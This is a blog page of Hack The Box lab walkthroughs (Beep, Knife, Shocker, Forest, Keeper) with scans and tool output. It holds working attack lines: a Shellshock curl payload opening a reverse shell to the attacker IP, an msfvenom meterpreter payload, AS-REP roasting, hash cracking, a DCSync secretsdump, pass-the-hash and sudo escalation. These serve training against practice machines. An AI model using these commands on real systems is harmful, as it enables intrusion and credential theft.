Category: Hack the Box

These are writeups of my hack the box walktroughs

  • HTB: Beep

    Next up, Beep! The ping is running, the nmap is scanning! Lets have a look at this golden oldy!

    Right off the bat, the sV and sC flag makes the scan time out or something. So just a simple nmap scan is what we fall back to.

    ┌──(root㉿kali)-[/home/kali/htb/knife]
    └─# nmap -p- 10.129.229.183      
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 11:42 -0500
    Nmap scan report for 10.129.229.183
    Host is up (0.0070s latency).
    Not shown: 65519 closed tcp ports (reset)
    PORT      STATE SERVICE
    22/tcp    open  ssh
    25/tcp    open  smtp
    80/tcp    open  http
    110/tcp   open  pop3
    111/tcp   open  rpcbind
    143/tcp   open  imap
    443/tcp   open  https
    856/tcp   open  unknown
    993/tcp   open  imaps
    995/tcp   open  pop3s
    3306/tcp  open  mysql
    4190/tcp  open  sieve
    4445/tcp  open  upnotifyp
    4559/tcp  open  hylafax
    5038/tcp  open  unknown
    10000/tcp open  snet-sensor-mgmt

    A lot of ports! Going to port 80, it redirects to HTTPS, that seems to not support TLS1.2 or higher. Thats kinda interesting, i mean, its an older box. Perhaps i should try and see if i can get firefox to accept lower TLS versions. Changing the setting in about:config called security.tls.version.min to 1.

    We now see the web-page:

    Lets see if elastix has known vulnerabilities. There’s a couple on exploit-db. Lets try out a couple.

  • HTB: Knife

    Host is up! Lets start with a portscan!

    ┌──(root㉿kali)-[~/.ssh]
    └─# nmap -p- -sC -sV 10.129.14.142
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 09:53 -0500
    Nmap scan report for 10.129.14.142
    Host is up (0.0067s latency).
    Not shown: 65533 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
    |   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
    |_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-title:  Emergent Medical Idea
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
    

    Pretty standard 22,80 portcombo. Lets see what this website contains.

    A pretty website. It seems to be fully static html though. I seem to remember this website from years ago, and seem to rememeber not getting far haha.

    Lets have a look around. Spraying around with a bit of dirb i find that we’re running php. Looking a bit more at the page source, there seems to be a bit of javascript there, pulled from a public repo, so it seems.

       <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>
    
      
          <script id="rendered-js" >
    var TxtRotate = function (el, toRotate, period) {
      this.toRotate = toRotate;
      this.el = el;
      this.loopNum = 0;
      this.period = parseInt(period, 10) || 2000;
      this.txt = '';
      this.tick();
      this.isDeleting = false;
    };
    
    TxtRotate.prototype.tick = function () {
      var i = this.loopNum % this.toRotate.length;
      var fullTxt = this.toRotate[i];
    
      if (this.isDeleting) {
        this.txt = fullTxt.substring(0, this.txt.length - 1);
      } else {
        this.txt = fullTxt.substring(0, this.txt.length + 1);
      }
    
      this.el.innerHTML = '<span class="wrap">' + this.txt + '</span>';
    
      var that = this;
      var delta = 300 - Math.random() * 100;
    
      if (this.isDeleting) {delta /= 2;}
    
      if (!this.isDeleting && this.txt === fullTxt) {
        delta = this.period;
        this.isDeleting = true;
      } else if (this.isDeleting && this.txt === '') {
        this.isDeleting = false;
        this.loopNum++;
        delta = 500;
      }
    
      setTimeout(function () {
        that.tick();
      }, delta);
    };
    
    
    window.onload = function () {
      var elements = document.getElementsByClassName('txt-rotate');
      for (var i = 0; i < elements.length; i++) {if (window.CP.shouldStopExecution(0)) break;
        var toRotate = elements[i].getAttribute('data-rotate');
        var period = elements[i].getAttribute('data-period');
        if (toRotate) {
          new TxtRotate(elements[i], JSON.parse(toRotate), period);
        }
      }
      // INJECT CSS
      window.CP.exitedLoop(0);var css = document.createElement("style");
      css.type = "text/css";
      css.innerHTML = ".txt-rotate > .wrap { border-right: 0.04em solid #666 }";
      document.body.appendChild(css);
    };
    
    
    var path = document.querySelector('path.pather1');
    var length = path.getTotalLength();
    
    // Clear any previous transition
    path.style.transition = path.style.WebkitTransition =
    'none';
    // Set up the starting positions
    path.style.strokeDasharray = length + ' ' + length;
    path.style.strokeDashoffset = -length;
    // Trigger a layout so styles are calculated & the browser
    // picks up the starting position before animating
    path.getBoundingClientRect();
    // Define our transition
    path.style.transition = path.style.WebkitTransition =
    'stroke-dashoffset 4s linear';
    // Go!
    path.style.strokeDashoffset = '0';
    //# sourceURL=pen.js
        </script>

    Perhaps this is where the vulnerability exists? This javascript seems broken though in my browser. Its calling a bunch of documents. Is that where i provide some input that i can control?

    Chucking some more version numbers into exploit-db, i find that this specific php version is vulnerable to the php version user agent, and could achieve RCE (Remote Code Execution). https://www.exploit-db.com/exploits/49933

    We’re in! We’re James. We get the user flag! But a very limited shell.

    This shell always runs from the root directory, and doesnt remember what directory we’re in. Lets get a better shell. The most simple way is to echo my ssh key into james’s authorized keys file, and connecting using ssh.

    That worked, we connect using SSH! Back in the day it was normal to have RSA keys.

    Lets see what we can do with sudo.

    We can run the knife binary as root. Lets check it out.

    I’m kinda hoping i can just rebind the link to something else. Otherwise we’ll have a look at the real knife script?

    Whelp, updating the link doesnt seem to work. After some searching online, i find that there exist GTFO bins for knife specifically! :0

    So lets give that a try. I actually nest a ruby gtfobin in the knife gtfobin, and Result!

    That ends this box!


    Conclusion

    I kinda liked this box! It was very easy though looking back at it. Nothing really special though. I’m not sure why i struggled with it so much back in the day.

    What i learned this time is to check ALL the software stack, cause i didnt think to check PHP version for quite some time!

  • HTB: Shocker

    Shocker is a linux box. not sure what to expect, but ping is running, and i’m starting up an nmap scan!

    ┌──(root㉿kali)-[/usr/share/sharphound]
    └─# nmap -p- -sC -sV 10.129.6.206                  
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-21 16:46 -0500
    Nmap scan report for 10.129.6.206
    Host is up (0.0057s latency).
    Not shown: 65533 closed tcp ports (reset)
    PORT     STATE SERVICE VERSION
    80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Site doesn't have a title (text/html).
    2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
    |   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
    |_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

    port 2222, probably just ssh, not much more. Lets see whats at the webserver!

    Hm, doesnt seem to want to be bugged!

    Nothing interesting at the source too. Maybe we should bust some dirs, see what more is out there.

    ┌──(root㉿kali)-[/usr/share/sharphound]
    └─# dirb http://10.129.6.206            
    
    -----------------
    DIRB v2.22    
    By The Dark Raver
    -----------------
    
    START_TIME: Wed Jan 21 16:51:29 2026
    URL_BASE: http://10.129.6.206/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    
    -----------------
    
    GENERATED WORDS: 4612                                                          
    
    ---- Scanning URL: http://10.129.6.206/ ----
    + http://10.129.6.206/cgi-bin/ (CODE:403|SIZE:295)                                                                            
    + http://10.129.6.206/index.html (CODE:200|SIZE:137)                                                                          
    + http://10.129.6.206/server-status (CODE:403|SIZE:300)                                                                       
                                                                                                                                  
    -----------------
    END_TIME: Wed Jan 21 16:51:52 2026
    DOWNLOADED: 4612 - FOUND: 3

    /cgi-bin huh? Interesting. Maybe that’s traversable? I capture the request in burp, and start screwing around.

    No dice, not with encoding, not plain, nothing. At this difficulty machine i don’t think (sub) domain fuzzing is necessary.

    At this point we don’t have much to go on though, and after trying to find something in the picture we get using steghide and exif, i didn’t get anything yet. So maybe some more fuzzing is required. I start Dirbuster, and load up a bigger wordlist

    No success still. Perhaps we need to focus on what we have, some know cgi-bin script.

    Using my own (pretty *special*) way of searching the /usr/share directory i look if i have any wordlists cgi related, and there’s some wordlists!

    ┌──(root㉿kali)-[/usr/share]
    └─# find ./ asd | grep cgi | grep wordlist
    ./wfuzz/wordlist/vulns/cgis.txt
    find: ‘asd’: No such file or directory
    ./dirb/wordlists/vulns/cgis.txt
                                      

    no luck 🙁

    trying a vuln-scan with nmap to see if i missed something there.

    nmap -p 80 -sC -sV –script=vulners 10.129.6.206

    The interesting vulns i see are not applicable. All in this apacheserver, but not reachable from the access we have.


    I gotta say, and i feel kind a stupid, but after spraying wordlists till sunrise, i have no success with anything. “Try harder” sticks in the back of my mind.

    So i looked up a tip. Now i use tips more often if i get stuck, but even with the tips i try to get to the results organically. so i know i look for a specific wordlist, but for the love of god, i can’t find it.

    Looking at the format its 4 letters/numbers and probably a .pl extension. Without this insider knowledge, i would never have considered this approach. Oh well, here we go.


    crunch 4 4 0123456789abcdefghijklmnopqrstuvwxyz -o 4.txt

    This gives me a list of all the characters from 4 – 4 positions. Afterwards with nano i find regex and replace all sentence ends with .pl. This gives me the worlist i need.

    Lets hope for the best!


    Okay, thats a cool couple of milion possibilities. Thats gonna take way too long to walk trough. I’m going to have a peek at a walktrough.


    Allrighty! Watched some ippsec (one of the GOAT). Apperently i should have simply tried a gobuster option for file extension. I should’ve known! Oh well, lesson learned! I’ll include this in my tools list!

    ┌──(root㉿kali)-[/home/kali/htb/shocker]
    └─# dirb http://10.129.6.206/cgi-bin/ -X .sh,.pl
    
    -----------------
    DIRB v2.22    
    By The Dark Raver
    -----------------
    
    START_TIME: Wed Jan 21 18:31:45 2026
    URL_BASE: http://10.129.6.206/cgi-bin/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    EXTENSIONS_LIST: (.sh,.pl) | (.sh)(.pl) [NUM = 2]
    
    -----------------
    
    GENERATED WORDS: 4612                                                          
    
    ---- Scanning URL: http://10.129.6.206/cgi-bin/ ----
    + http://10.129.6.206/cgi-bin/user.sh (CODE:200|SIZE:118)                                                                     
                                                                                                                                  
    -----------------
    END_TIME: Wed Jan 21 18:32:35 2026
    DOWNLOADED: 9224 - FOUND: 1

    Gotcha! user.sh!

    For now it’s late. I’m gonna pick back up here tomorrow.


    So user.sh, what does it do. Loading the page it seems that it outputs every once in a while with the uptime command.

    Googling around a bit to user.sh and exploit points me to shellshock. To be honest, i was just trying a payload i found somewhere else, and it immediately worked.

    curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.104/4444 0>&1'" http://10.129.14.137/cgi-bin/user.sh

    simply adjusting the user agent this way, it made it possible to set up the reverse shell.

    this gave me the user flag too.


    Now, we can see how we get privileges, and this is not hard. Checking with sudo -l to see what we can run as root, we see that we can run perl as root, no password.

    Given that Perl is its own execution engine, we can try running a script as root.

    It can be done easier though! Looking at GTFO bins (https://gtfobins.org/gtfobins/perl/#reverse-shell), we can see that we can get a shell simply by running:

    shelly@Shocker:/home/shelly/.ssh$ sudo perl -e 'exec "/bin/sh"'
    sudo perl -e 'exec "/bin/sh"'
    
    
    id
    uid=0(root) gid=0(root) groups=0(root)

    Now that we are root, we can get the flag!


    Conclusion

    I don’t really like this box, but that’s because i didnt find the most important piece for hours. I learned that i should do more fuzzing on file extensions.

    After that it was really easy.

  • HTB: Forest

    A windows machine named forest. Must be an Active Directory server!

    Lets start with ping and nmap to see what we’ve got!

    ┌──(root㉿kali)-[/home/kali]
    └─# ping 10.129.95.210
    PING 10.129.95.210 (10.129.95.210) 56(84) bytes of data.
    64 bytes from 10.129.95.210: icmp_seq=1 ttl=127 time=5.28 ms
    ^C
    --- 10.129.95.210 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 5.279/5.279/5.279/0.000 ms
                                                                                               
    ┌──(root㉿kali)-[/home/kali]
    └─# nmap -sV -sC -p- 10.129.95.210
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-20 12:48 -0500
    Nmap scan report for 10.129.95.210
    Host is up (0.0050s latency).
    Not shown: 65512 closed tcp ports (reset)
    PORT      STATE SERVICE      VERSION
    53/tcp    open  domain       Simple DNS Plus
    88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-20 17:55:55Z)
    135/tcp   open  msrpc        Microsoft Windows RPC
    139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
    389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
    445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
    464/tcp   open  kpasswd5?
    593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  tcpwrapped
    3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
    3269/tcp  open  tcpwrapped
    5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    9389/tcp  open  mc-nmf       .NET Message Framing
    47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    49664/tcp open  msrpc        Microsoft Windows RPC
    49665/tcp open  msrpc        Microsoft Windows RPC
    49666/tcp open  msrpc        Microsoft Windows RPC
    49667/tcp open  msrpc        Microsoft Windows RPC
    49671/tcp open  msrpc        Microsoft Windows RPC
    49680/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
    49681/tcp open  msrpc        Microsoft Windows RPC
    49685/tcp open  msrpc        Microsoft Windows RPC
    49700/tcp open  msrpc        Microsoft Windows RPC
    Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-security-mode: 
    |   3.1.1: 
    |_    Message signing enabled and required
    | smb-security-mode: 
    |   account_used: guest
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: required
    | smb-os-discovery: 
    |   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
    |   Computer name: FOREST
    |   NetBIOS computer name: FOREST\x00
    |   Domain name: htb.local
    |   Forest name: htb.local
    |   FQDN: FOREST.htb.local
    |_  System time: 2026-01-20T09:56:45-08:00
    | smb2-time: 
    |   date: 2026-01-20T17:56:47
    |_  start_date: 2026-01-20T17:53:09
    |_clock-skew: mean: 2h46m49s, deviation: 4h37m09s, median: 6m48s
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 80.99 seconds

    This tells us a lot allready, like the domain name, the hostname. Its what you might expect given the name of the box.

    SMBmap doesnt seem to get any anonymous access though.

    Using enum4linux i was able to enumerate usernames

    enum4linux -U 10.129.95.210

    user:[Administrator] rid:[0x1f4]
    user:[Guest] rid:[0x1f5]
    user:[krbtgt] rid:[0x1f6]
    user:[DefaultAccount] rid:[0x1f7]
    user:[$331000-VK4ADACQNUCA] rid:[0x463]
    user:[SM_2c8eef0a09b545acb] rid:[0x464]
    user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
    user:[SM_75a538d3025e4db9a] rid:[0x466]
    user:[SM_681f53d4942840e18] rid:[0x467]
    user:[SM_1b41c9286325456bb] rid:[0x468]
    user:[SM_9b69f1b9d2cc45549] rid:[0x469]
    user:[SM_7c96b981967141ebb] rid:[0x46a]
    user:[SM_c75ee099d0a64c91b] rid:[0x46b]
    user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
    user:[HealthMailboxc3d7722] rid:[0x46e]
    user:[HealthMailboxfc9daad] rid:[0x46f]
    user:[HealthMailboxc0a90c9] rid:[0x470]
    user:[HealthMailbox670628e] rid:[0x471]
    user:[HealthMailbox968e74d] rid:[0x472]
    user:[HealthMailbox6ded678] rid:[0x473]
    user:[HealthMailbox83d6781] rid:[0x474]
    user:[HealthMailboxfd87238] rid:[0x475]
    user:[HealthMailboxb01ac64] rid:[0x476]
    user:[HealthMailbox7108a4e] rid:[0x477]
    user:[HealthMailbox0659cc1] rid:[0x478]
    user:[sebastien] rid:[0x479]
    user:[lucinda] rid:[0x47a]
    user:[svc-alfresco] rid:[0x47b]
    user:[andy] rid:[0x47e]
    user:[mark] rid:[0x47f]
    user:[santi] rid:[0x480]
    

    Lets put those in a list, using nane, find and replace to remove user:[ with nothing, and regex ].* with nothing.

    Next up, lets see if any of these accounts are ASREPROASTable. This means that you can trigger kerberos to send you a message encrypted with the users password. Knowing the message (i believe its te timestamp) you can brute force the password untill you reach the same encrypted message.

    Impacket has a module that you can feed all these usernames, together with the domain name and ip, to see if these accounts have this activated

    impacket-GetNPUsers -no-pass -usersfile users.txt -dc-ip 10.129.95.210 htb.local/

    And result!

    $krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f4003364d1eb3d0465e9ac$0cfdc192855a388e4376ae032e7758a66cb7b29e3d758a902c45ece898db4a777a030e26163be3a59c01f982c84bde09eb628cebc49c3a316761786fe55ee6360093d7fef32486210db7dfcd5273e9d9ddfb70cc3bcd3e3f92cd657460dd7b48a778b425b0295053ac6fc2a96de2834b453d020014fc5c39aef55484038bcbeb33d2fcbc586502206483a64ebc9f7a924df6edeb1b3efcb6605085b6fa5c0d84da038c0c252350e3282689bb5a093e261e96fa13c6945dd8a834c7383c95f8ad570ecd3d7ff96f962164a4cf125b22a90cdc90fc716c6ebd219ddae0d895f1e6684aed31db40

    There we have the password for svc-alfresco! Its just still hashed/encrypted.

    Lets pass that over to my main cracking machine (which is my game-pc). Sometimes cracking these passwords go by GPU which is really fast indeed.

    lets first see what mode well need to crack
    https://gist.github.com/CalfCrusher/6b87a738d0fe7b88e04f4a36eb6d722d

    It seems to be 7500 we’ll need. But hashcat seems to identify this now itself!

    .\hashcat.exe hash.txt .\rockyou.txt

    And within 1 second and at the speed of almost 10 million passwords a second we instantly crack the password

    Dictionary cache built:
    * Filename..: .\rockyou.txt
    * Passwords.: 14344391
    * Bytes.....: 139921497
    * Keyspace..: 14344384
    * Runtime...: 0 secs
    
    $krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f4003364d1eb3d0465e9ac$0cfdc192855a388e4376ae032e7758a66cb7b29e3d758a902c45ece898db4a777a030e26163be3a59c01f982c84bde09eb628cebc49c3a316761786fe55ee6360093d7fef32486210db7dfcd5273e9d9ddfb70cc3bcd3e3f92cd657460dd7b48a778b425b0295053ac6fc2a96de2834b453d020014fc5c39aef55484038bcbeb33d2fcbc586502206483a64ebc9f7a924df6edeb1b3efcb6605085b6fa5c0d84da038c0c252350e3282689bb5a093e261e96fa13c6945dd8a834c7383c95f8ad570ecd3d7ff96f962164a4cf125b22a90cdc90fc716c6ebd219ddae0d895f1e6684aed31db40:s3rvice
    
    Session..........: hashcat
    Status...........: Cracked
    Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
    Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f400...31db40
    Time.Started.....: Tue Jan 20 19:32:00 2026 (0 secs)
    Time.Estimated...: Tue Jan 20 19:32:00 2026 (0 secs)
    Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
    Guess.Base.......: File (.\rockyou.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#01........:  8670.2 kH/s (5.75ms) @ Accel:256 Loops:1 Thr:32 Vec:1
    Speed.#02........:  1312.6 kH/s (11.95ms) @ Accel:117 Loops:1 Thr:32 Vec:1
    Speed.#*.........:  9982.8 kH/s
    Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
    Progress.........: 4334592/14344384 (30.22%)
    Rejected.........: 0/4334592 (0.00%)
    Restore.Point....: 3592192/14344384 (25.04%)
    Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
    Restore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1
    Candidate.Engine.: Device Generator
    Candidates.#01...: skretas -> red23913
    Candidates.#02...: red2388 -> ravery75
    Hardware.Mon.#01.: Temp: 36c Fan:  0% Util: 99% Core: 540MHz Mem: 405MHz Bus:16
    Hardware.Mon.#02.: N/A

    So: svc-alfresco:s3rvice

    1st credential obtained!


    lets retry some steps. See if we have some SMB access.

    pretty standard right off the bat.

    Lets enumerate quickly.

    IPC$ and NETLOGON seem empty, but in SYSVOL we can see some things. Thinking back to the active.htb box i did not long a go, i wonder if we also get a kerberos account here.

    after browsing and looking trough some file, no extra creds or anything.

    Lets see if we have more users we can pinch. Now that we have one working credential, lets see if there are kerberoastable accounts.

    no luck.

    I believe i saw the winrm port open. Lets see if we cant connect with the account we have.

    We can! And we have access to the user flag.

    Now we just need to escalate our privileges.


    now there’s two things i would like to try. Meterpreter exploit suggester and bloodhound.

    First we created a meterpreter executable to run on the system.

    ┌──(root㉿kali)-[/home/kali/htb/forest]
    └─# msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.15.104 lport=4444 -f exe > shell.exe
    
    ──(root㉿kali)-[/home/kali/htb/forest]
    └─# python3 -m http.server                                                                         
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    10.129.95.210 - - [20/Jan/2026 14:15:45] "GET /shell.exe HTTP/1.1" 200 -
    
    msf exploit(multi/handler) > set lhost 0.0.0.0
    lhost => 0.0.0.0
    msf exploit(multi/handler) > run
    [*] Started reverse TCP handler on 0.0.0.0:4444 
    
    ================= on the target ===================
    
    Evil-WinRM PS C:\Users\svc-alfresco\Desktop> invoke-webrequest -Uri http://10.10.15.104:8000/shell.exe -UseBasicParsing -outfile shell.exe
    
    *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ./shell.exe
    

    And we get our meterpreter set up:

    [*] Sending stage (188998 bytes) to 10.129.95.210
    [*] Meterpreter session 1 opened (10.10.15.104:4444 -> 10.129.95.210:59201) at 2026-01-20 14:23:00 -0500
    
    meterpreter > bg
    [*] Backgrounding session 1...
    msf exploit(multi/handler) > 

    We background it so we can run the post exploitation scripts on it.

    msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
    msf post(multi/recon/local_exploit_suggester) > show options
    
    Module options (post/multi/recon/local_exploit_suggester):
    
       Name             Current Setting  Required  Description
       ----             ---------------  --------  -----------
       SESSION                           yes       The session to run this module on
       SHOWDESCRIPTION  false            yes       Displays a detailed description for
                                                    the available exploits
    
    
    View the full module info with the info, or info -d command.
    
    msf post(multi/recon/local_exploit_suggester) > set session 1
    session => 1
    msf post(multi/recon/local_exploit_suggester) > run
    [*] 10.129.95.210 - Collecting local exploits for x86/windows...
    /usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
    [*] 10.129.95.210 - 229 exploit checks are being tried...
    [+] 10.129.95.210 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
    [+] 10.129.95.210 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
    [+] 10.129.95.210 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
    [+] 10.129.95.210 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. Vulnerable Windows 10 v1607 build detected!
    [+] 10.129.95.210 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
    [+] 10.129.95.210 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
    [+] 10.129.95.210 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
    [+] 10.129.95.210 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
    [*] Running check method for exploit 43 / 43
    [*] 10.129.95.210 - Valid modules for session 1:
    ============================
    
     #   Name                                                           Potentially Vulnerable?  Check Result
     -   ----                                                           -----------------------  ------------
     1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
     2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
     3   exploit/windows/local/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.
     4   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The target appears to be vulnerable. Vulnerable Windows 10 v1607 build detected!
     5   exploit/windows/local/cve_2020_1048_printerdemon               Yes                      The target appears to be vulnerable.
     6   exploit/windows/local/cve_2020_1337_printerdemon               Yes                      The target appears to be vulnerable.
     7   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
     8   exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.

    Now we have a couple of options here. Lets test some out.

    And this is the easy thing about metasploit. It makes exploitation trivial. We just run alle the exploits one by one, see if we gat more ptivileges! Its kinda crazy!

    Two exploits seemed to work, but sadly, no shell. This makes me think that this isn’t the intended approach.

    Lets try the bloodhound route. First ,we need to get sharphound either connected to the host. I know of only one way to run sharphound, and that’s from windows.

    https://github.com/SpecterOps/SharpHound/releases


    I have a windows vm preconfigured with my .ovpn.

    So i switched the VPN off of my Kali, and onto my windows machine.


    GOOD LORD! Did i have a hard time running the sharphound scan, and running the bloodhound instance! I managed to make a docker-compose.yml, and did the scan from my linux machine using bloodhound-python.

    Read here how i did it: https://patatties.nl/?page_id=107


    Now what do i like about bloodhound? You can see different links from the place where you are now in the domain, and the place you want to go.

    The nodes are entities in the AD, and the arrows show what relation they have en are called edges Sometimes its just being a member of a group, sometime it can write the ACL. You can also select an entity or edge and see all kinds of information about the it.

    Selecting GenericAll for example gives you information on what role it might play in an abuse scenario.

    Allright. So if i see this right, we should have access, to make ourselves members of the Exchange Windows Permissions group, which in turn should be able to dcsync the domaincontroller.

    First we add ourselves to the group.

    Now we should be able to activate our dcsync rights. We can use bloodyAD for this.

    Now we should be able to dump the users and their hashes

    And here we go!

    impacket-secretsdump -just-dc-ntlm 'htb.local'/'svc-alfresco':'s3rvice'@'10.129.95.210'

    We have the hashes! I passed them to my hashcat instance, but that only cracked 3 passwords.

    .\hashcat.exe -m 1000 .\hash.txt .\rockyou.txt -r .\rules\dive.rule

    31d6cfe0d16ae931b73c59d7e0c089c0:
    9248997e4ef68ca2bb47ae4e6f128668:s3rvice
    483d4c70248510d8e0acb6066cd89072:plokmijnuhb

    empty

    s3rvice, which we allready know for svc-alfresco.

    plokmijnuhb, for account: Santi.

    A quick look in bloodhound seems to suggest that Santi isn’t interesting.


    Before diving into the Santi account, lets see if we can’t pass the hash for administrator. Which effectively authenticates me as that account. We can use Evil-WinRM for that aswell, but instead of using

    -p password

    we use

    -H hash

    And we’re in!

    And we have access to the root flag!


    Conclusion

    I liked this box! A lot of AD enumeration which was great. In the end, it was quite short, but i spent a lot of time getting friggin bloodhound to run reliably, get mimikatz to run well, etc. That was kinda hard. But i have the tool setup now in my own lab!

    Great box! I hope there’ll be a load more like this. Good preparation foor OSCP exam i suspect!

  • HTB: Keeper

    A Linux box this time. We’re slowly working our way up. A bit more recent machine this time.

    Lets start again with a Ping and nmap of all ports.

    nmap -p- -sC -sV 10.129.229.41

    Only 2 ports open

    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
    |_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
    80/tcp open  http    nginx 1.18.0 (Ubuntu)
    |_http-title: Site doesn't have a title (text/html).
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Main page simply says to rais a ticket, but also exposes the tickets subdomain. So lets add that to the hosts file, and open.

    We are greeted by the ticketing system.

    Capturing a sign-in POST with burpsuite i tried to see if any of the fields are SQL injectable using SQLMAP:

    POST /rt/NoAuth/Login.html HTTP/1.1
    Host: tickets.keeper.htb
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 57
    Origin: http://tickets.keeper.htb
    Connection: keep-alive
    Referer: http://tickets.keeper.htb/rt/
    Cookie: RT_SID_tickets.keeper.htb.80=acf955e350c85ca2764ea39c9283495d
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    
    user=user&pass=pass&next=c91d1e2a59351c19648436b3c1740a6e
    
    ## put this into sqlmap.txt
    sqlmap -r sqlmap.txt -p next --dump --ignore-code=404 --risk=3
    

    No luck there!

